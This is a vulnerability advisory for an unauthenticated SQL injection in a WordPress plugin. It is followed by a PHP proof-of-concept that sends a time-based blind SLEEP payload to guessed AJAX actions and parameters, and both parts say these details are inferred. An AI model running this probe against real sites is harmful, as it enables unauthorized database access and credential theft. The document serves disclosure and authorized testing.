Atomic Edge analysis of CVE-2025-69305 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Crete Core WordPress plugin, affecting versions up to and including 1.4.3. The flaw allows attackers to execute arbitrary SQL commands by manipulating a user-supplied parameter. The CVSS score of 7.5 (High) reflects a network-based attack requiring no privileges or user interaction.
Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description cites insufficient escaping and lack of query preparation. This indicates the plugin likely constructs SQL queries by directly concatenating user input into the query string. The vulnerable code path is not confirmed via source review, but the CWE classification strongly suggests the use of insecure functions like `$wpdb->query()` with unescaped variables, or direct MySQLi calls without parameterization.
The exploitation method is an unauthenticated HTTP request to a plugin endpoint. Attackers can inject SQL payloads via a specific parameter. Based on WordPress plugin patterns, the likely vector is a public AJAX handler (`wp_ajax_nopriv_`) or a REST API endpoint that does not enforce authentication. An attacker would send a POST or GET request containing a malicious SQL payload in a parameter like `id` or `slug`. A UNION-based payload could extract data from the WordPress database.
Remediation requires implementing proper input validation and using prepared statements. The plugin must replace direct string concatenation in SQL queries with parameterized queries via `$wpdb->prepare()`. All user-supplied data used in database operations must be sanitized and validated. The fix should also include capability checks for any administrative actions, though the unauthenticated nature suggests such checks were entirely absent.
Successful exploitation leads to full compromise of the database’s confidentiality. Attackers can extract sensitive information including hashed user passwords, personal data, and authentication cookies. This data can facilitate site takeover, privilege escalation, or lateral movement within the host environment. The impact is limited to information disclosure (C:H/I:N/A:N) as described in the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69305 - Crete Core <= 1.4.3 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-69305.
* This script attempts to exploit an unauthenticated SQL injection in the Crete Core plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is an AJAX handler accessible without authentication.
* 2. The vulnerable parameter is named 'id' or a similar common identifier.
* 3. The SQL injection is error-based or UNION-based.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // Configurable target
// Common AJAX action names derived from plugin slug 'crete-core'
$possible_actions = ['crete_core_get_data', 'crete_core_ajax_handler', 'crete_core_action'];
// Common vulnerable parameter names
$possible_params = ['id', 'post_id', 'slug', 'user_id'];
// A generic time-based blind SQL injection payload for MySQL.
// This payload uses SLEEP to detect injection without relying on error messages.
$sql_payload = "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -";
$headers = [
'User-Agent: Atomic Edge CVE Research PoC',
'Accept: */*',
'Content-Type: application/x-www-form-urlencoded',
];
$found = false;
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
$post_data = http_build_query([
'action' => $action,
$param => $sql_payload,
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set a baseline timeout
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$request_duration = $end_time - $start_time;
// If the request took significantly longer than the baseline, injection may be successful.
if ($request_duration > 5) {
echo "[+] Potential SQL Injection found!n";
echo " Action: {$action}n";
echo " Parameter: {$param}n";
echo " HTTP Code: {$http_code}n";
echo " Response Time: {$request_duration} secondsn";
$found = true;
break 2;
} else {
echo "[-] Tested action: {$action}, param: {$param} (Time: {$request_duration}s)n";
}
}
}
if (!$found) {
echo "[!] No obvious time-based SQL injection detected with the tested patterns.n";
echo "[!] The exact vulnerable endpoint or parameter may differ.n";
}
?>
